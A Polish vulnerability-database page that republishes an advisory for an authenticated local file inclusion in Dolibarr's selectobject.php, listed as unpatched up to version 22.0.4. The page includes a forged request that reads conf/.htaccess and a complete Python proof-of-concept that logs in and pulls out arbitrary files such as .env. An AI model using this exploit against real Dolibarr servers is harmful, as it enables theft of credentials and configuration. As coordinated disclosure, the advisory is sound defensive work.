Średnia

Dolibarr Core Discloses Sensitive Data via Authenticated Local File Inclusion in selectobject.php

  • Ujawniono: 27.03.2026
  • Aktualizacja: 11.10.2026 10:22

Authenticated Local File Inclusion (LFI) via selectobject.php leading to sensitive data disclosure

Target

Dolibarr Core (Tested on version 22.0.4)

Summary

A Local File Inclusion (LFI) vulnerability has been discovered in the core AJAX endpoint /core/ajax/selectobject.php. By manipulating the objectdesc parameter and exploiting a fail-open logic flaw in the core access control function restrictedArea(), an authenticated user with no specific privileges can read the contents of arbitrary non-PHP files on the server (such as .env, .htaccess, configuration backups, or logs…).

Vulnerability Details

The vulnerability is caused by a critical design flaw in /core/ajax/selectobject.php where dynamic file inclusion occurs before any access control checks are performed, combined with a fail-open logic in the core ACL function.

  • Arbitrary File Inclusion BEFORE Authorization: The endpoint parses the objectdesc parameter into a $classpath. If fetchObjectByElement fails (e.g., by providing a fake class like A:conf/.htaccess:0), the application falls back to dol_include_once($classpath) at line 71. At this point, the arbitrary file is included and its content is dumped into the HTTP response buffer. This happens before the application checks any user permissions.
  • Access Control Bypass (Fail-Open): At line 102, the application finally attempts to verify permissions by calling restrictedArea(). Because the object creation failed, the $features parameter sent to restrictedArea() is empty (''). Inside security.lib.php, if the $features parameter is empty, the access check block is completely skipped, leaving the $readok variable at 1. Because of this secondary flaw, the script finishes cleanly with an HTTP 200 OK instead of throwing a 403 error.

This allows any authenticated user to bypass ACLs and include files. While PHP files cause a fatal error before their code is displayed, the contents of any text-based file (like .htaccess, .env, .json, .sql) are dumped into the HTTP response before the application crashes.

Steps to Reproduce

  • Log in to the Dolibarr instance with any user account (no specific permissions required).
  • Intercept or manually forge a GET request to the following endpoint:
GET /core/ajax/selectobject.php?outjson=0&htmlname=x&objectdesc=A:conf/.htaccess:0
  • Observe the HTTP response. The contents of the conf/.htaccess file will be reflected in the response body right before the PHP Fatal Error message.
  • (Optional) Run the attached Python PoC to automate the extraction:
python3 poc.py --url http://target.com --username '<username>' --password '<password>' --file conf/.htaccess

Impact

An attacker with minimal access to the CRM can exfiltrate sensitive files from the server. This can lead to the disclosure of environment variables (.env), infrastructure configurations (.htaccess), installed packages versions, or even forgotten logs and database dumps, paving the way for further attacks.

Suggested Mitigation

  • Input Validation & Whitelisting: The $classpath must be strictly validated or whitelisted before being passed to dol_include_once().
  • Execution Flow Correction: The file inclusion logic must never be executed before the user's authorization has been fully verified.
  • Enforce Fail-Secure ACLs: Modify restrictedArea() in core/lib/security.lib.php so that if the $features parameter is empty, access is explicitly denied ($readok = 0) instead of allowed by default.

Disclosure Policy & Assistance

The reporter is committed to coordinated vulnerability disclosure. This vulnerability, along with the provided PoC, will be kept strictly confidential until a patch is released and explicit authorization for public disclosure is given.

Should any further technical details, logs, or testing of the remediation once a patch has been developed be needed, the reporter is available to assist.

Thank you for the time and commitment to securing Dolibarr.

Best Regards, Vincent KHAYAT (cnf409)

Video PoC

https://github.com/user-attachments/assets/4af80050-4329-4c88-8a54-e2b522deb844

PoC Script

python
#!/usr/bin/env python3
"""Dolibarr selectobject.php authenticated LFI PoC"""

import argparse
import html
import re
import urllib.error
import urllib.parse
import urllib.request
from http.cookiejar import CookieJar

LOGIN_MARKERS = ("Login @", "Identifiant @")
LOGOUT_MARKERS = ("/user/logout.php", "Logout", "Mon tableau de bord")

def request(
    opener, base_url, method, path, params=None, data=None, timeout=15
):
    url = f"{base_url.rstrip('/')}{path}"
    if params:
        url = f"{url}?{urllib.parse.urlencode(params)}"
    payload = urllib.parse.urlencode(data).encode("utf-8") if data else None
    req = urllib.request.Request(url, method=method.upper(), data=payload)
    req.add_header("User-Agent", "dolibarr-lfi-poc/1.0-securitytest-for-dolibarr")
    req.add_header("Accept", "text/html,application/xhtml+xml")
    try:
        with opener.open(req, timeout=timeout) as resp:
            return resp.status, resp.read().decode("utf-8", errors="replace")
    except urllib.error.HTTPError as err:
        return err.code, err.read().decode("utf-8", errors="replace")

def extract_login_token(page):
    for pattern in (
        r'name=["\']token["\']\s+value=["\']([^"\']*)["\']',
        r'name=["\']anti-csrf-newtoken["\']\s+content=["\']([^"\']*)["\']',
    ):
        match = re.search(pattern, page, flags=re.IGNORECASE)
        if match:
            return match.group(1)
    return ""

def looks_authenticated(body):
    return any(marker in body for marker in LOGOUT_MARKERS)

def clean_included_output(body):
    for marker in (
        "<br />\n<b>Warning",
        "<br />\r\n<b>Warning",
        "<br />\n<b>Fatal error",
        "<br />\r\n<b>Fatal error",
    ):
        pos = body.find(marker)
        if pos != -1:
            return body[:pos].rstrip()
    return body.rstrip()

def login(opener, base_url, username, password):
    code, login_page = request(opener, base_url, "GET", "/")
    if code >= 400:
        return False, f"HTTP {code} on login page"
    token = extract_login_token(login_page)
    code, after_login = request(
        opener,
        base_url,
        "POST",
        "/index.php?mainmenu=home",
        data={
            "token": token,
            "actionlogin": "login",
            "loginfunction": "loginfunction",
            "username": username,
            "password": password,
        },
    )
    if code >= 400:
        return False, f"HTTP {code} on login request"
    if looks_authenticated(after_login):
        return True, ""
    code, home = request(opener, base_url, "GET", "/index.php?mainmenu=home")
    if code < 400 and looks_authenticated(home):
        return True, ""
    return False, "Invalid username or password"

def read_file(opener, base_url, relative_path):
    status, body = request(
        opener,
        base_url,
        "GET",
        "/core/ajax/selectobject.php",
        params={
            "outjson": "0",
            "htmlname": "x",
            "objectdesc": f"A:{relative_path}:0",
        },
    )
    if any(marker in body for marker in LOGIN_MARKERS) and not looks_authenticated(body):
        raise RuntimeError("Session expired or not authenticated")
    return status, body, clean_included_output(body)

def parse_args():
    parser = argparse.ArgumentParser(
        description="Authenticated LFI PoC against /core/ajax/selectobject.php (Dolibarr 22.0.4)."
    )
    parser.add_argument(
        "--url",
        default="http://127.0.0.1:8080",
        help="Dolibarr base URL (default: http://127.0.0.1:8080)",
    )
    parser.add_argument("--username", required=True, help="Dolibarr username")
    parser.add_argument("--password", required=True, help="Dolibarr password")
    parser.add_argument(
        "--file",
        dest="target_file",
        required=True,
        help="Target file to read (e.g. conf/.htaccess).",
    )
    return parser.parse_args()

def print_result(path, status, raw, clean):
    print(f"\n[+] HTTP status: {status}")
    print(f"[+] Requested file: {path}")
    print("=" * 80)
    if clean:
        print(html.unescape(clean))
    else:
        print("(No readable output extracted)")
    print("=" * 80)
    if clean != raw.rstrip():
        print("[i] PHP warnings/fatal output were trimmed from display.")

def summarize_error_body(body, limit=1200):
    text = html.unescape(body).strip()
    if not text:
        return "(Empty response body)"
    if len(text) > limit:
        return text[:limit].rstrip() + "\n... [truncated]"
    return text

def main():
    args = parse_args()
    opener = urllib.request.build_opener(
        urllib.request.HTTPCookieProcessor(CookieJar())
    )
    ok, reason = login(opener, args.url, args.username, args.password)
    if not ok:
        print(f"[!] {reason}")
        return 1
    print("[+] Login successful.")
    try:
        status, raw, clean = read_file(opener, args.url, args.target_file)
        if status >= 400:
            print(f"[!] HTTP {status} while reading target file.")
            print("=" * 80)
            print(summarize_error_body(raw))
            print("=" * 80)
            return 1
        print_result(args.target_file, status, raw, clean)
        return 0
    except Exception as exc:
        print(f"[!] Error: {exc}")
        return 1

if __name__ == "__main__":
    try:
        raise SystemExit(main())
    except KeyboardInterrupt:
        print("\nInterrupted.")
        raise SystemExit(130)

Czego dotyczy

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PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka Composer dolibarr/dolibarr <= 22.0.4 brak poprawki

Odnośniki

Ocena CVSS 6.5/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Słabość (CWE)
CWE-98
Platforma
Composer
Paczka
dolibarr/dolibarr
Ujawniono
27.03.2026
Aktualizacja
11.10.2026 10:22

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-2mfj-r695-5h9r - CC BY 4.0

Historia podatności: dolibarr/dolibarr

Wszystkie opisane podatności tej paczki (Paczka Composer), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (126) w archiwum
Wszystkich wpisów
126
Pierwsza → ostatnia
11.2019 06.2026
Bez poprawki
49
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 27
  • Wysoka 38
  • Średnia 56
  • Niska 5

Ujawnienia w latach

  1. 2019: 1
  2. 2020: 2
  3. 2021: 5
  4. 2022: 87
  5. 2023: 9
  6. 2024: 9
  7. 2025: 4
  8. 2026: 9
Istotność:
  1. Krytyczna · 9.8 CVE-2018-25357 >= 7.0.0, < 7.0.4, < 6.0.8 7.0.4, 6.0.8
  2. Wysoka · 8.8 CVE-2026-31018 <= 15.0.3 brak poprawki
  3. Krytyczna · 9.1 CVE-2026-23500 <= 22.0.4 brak poprawki
  4. Dolibarr Core Discloses Sensitive Data via Authenticated Local File Inclusion in selectobject.php ten wpis
    Średnia · 6.5 CVE-2026-34036 <= 22.0.4 brak poprawki
  5. Wysoka · 8.8 CVE-2025-56588 < 21.0.3 21.0.3
  6. Wysoka · 8.8 ghsa-49xw-hw94-fmv2 <= 21.0.2 brak poprawki
  7. Wysoka · 5.5 CVE-2024-40137 < 19.0.2 19.0.2
  8. Wysoka · 8.8 CVE-2024-37821 < 19.0.2 19.0.2
  9. Krytyczna · 9.1 CVE-2024-5315 <= 9.0.1 brak poprawki
  10. Krytyczna · 9.1 CVE-2024-5314 <= 9.0.1 brak poprawki
  11. Wysoka · 7.1 CVE-2024-23817 >= 18.0.4, < 18.0.7 18.0.7
  12. Wysoka · 7.5 CVE-2024-31503 <= 19.0.0 brak poprawki
  13. Wysoka · 7.5 CVE-2023-4197 < 18.0.2 18.0.2
  14. Wysoka · 8.8 CVE-2023-38887 < 17.0.1 17.0.1
  15. Krytyczna · 9.6 CVE-2023-38888 < 17.0.1 17.0.1
  16. Wysoka · 7.5 CVE-2023-33568 >= 16.0.0, < 16.0.5 16.0.5
  17. Krytyczna · 9.8 CVE-2022-4093 >= 16.0.1, < 16.0.3 16.0.3
  18. Krytyczna · 9.8 CVE-2022-43138 < 14.0.1 14.0.1
  19. Krytyczna · 9.8 CVE-2022-40871 <= 15.0.3 brak poprawki
  20. Krytyczna · 9.8 CVE-2021-33816 >= 13.0.2, < 14.0.0 14.0.0
  21. Wysoka · 7.2 CVE-2020-35136 < 12.0.4 12.0.4
  22. Wysoka · 8.8 CVE-2020-14209 < 11.0.5 11.0.5
  23. Wysoka · 8.8 CVE-2020-14443 < 11.0.5 11.0.5
  24. Wysoka · 8.8 CVE-2020-12669 < 12.0.0 12.0.0
  25. Wysoka · 8.8 CVE-2020-11825 <= 10.0.6 brak poprawki
  26. Krytyczna · 9.8 CVE-2019-19212 >= 3.0, <= 10.0.3 brak poprawki
  27. Wysoka · 7.5 CVE-2019-19209 < 10.0.3 10.0.3
  28. Krytyczna · 9.8 CVE-2020-7995 = 10.0.6 brak poprawki
  29. Wysoka · 8.0 CVE-2019-15062 >= 10.0, < 10.0.2 10.0.2
  30. Wysoka · 8.8 CVE-2019-11200 < 9.0.3 9.0.3
  31. Wysoka · 8.0 CVE-2019-11201 < 9.0.3 9.0.3
  32. Wysoka · 8.8 CVE-2019-1010054 = 7.0.0 brak poprawki
  33. Krytyczna · 9.8 CVE-2017-7886 = 4.0.4 brak poprawki
  34. Krytyczna · 9.8 CVE-2017-7888 <= 4.0.4 brak poprawki
  35. Krytyczna · 9.8 CVE-2017-9435 < 5.0.3 5.0.3
  36. Wysoka · 8.8 CVE-2017-9840 <= 5.0.3 brak poprawki
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